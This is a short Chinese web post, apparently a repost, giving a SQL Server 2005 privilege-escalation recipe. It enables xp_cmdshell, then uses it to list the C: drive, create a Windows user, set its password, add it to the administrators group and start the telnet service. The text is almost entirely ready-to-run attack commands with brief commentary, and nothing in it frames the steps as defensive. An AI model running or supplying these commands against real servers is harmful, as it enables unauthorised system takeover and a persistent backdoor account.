SQL SERVER2005 提权

来源:互联网 发布:markdown代码高亮 知乎 编辑:程序博客网 时间:2024/04/29 16:19

--打开xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘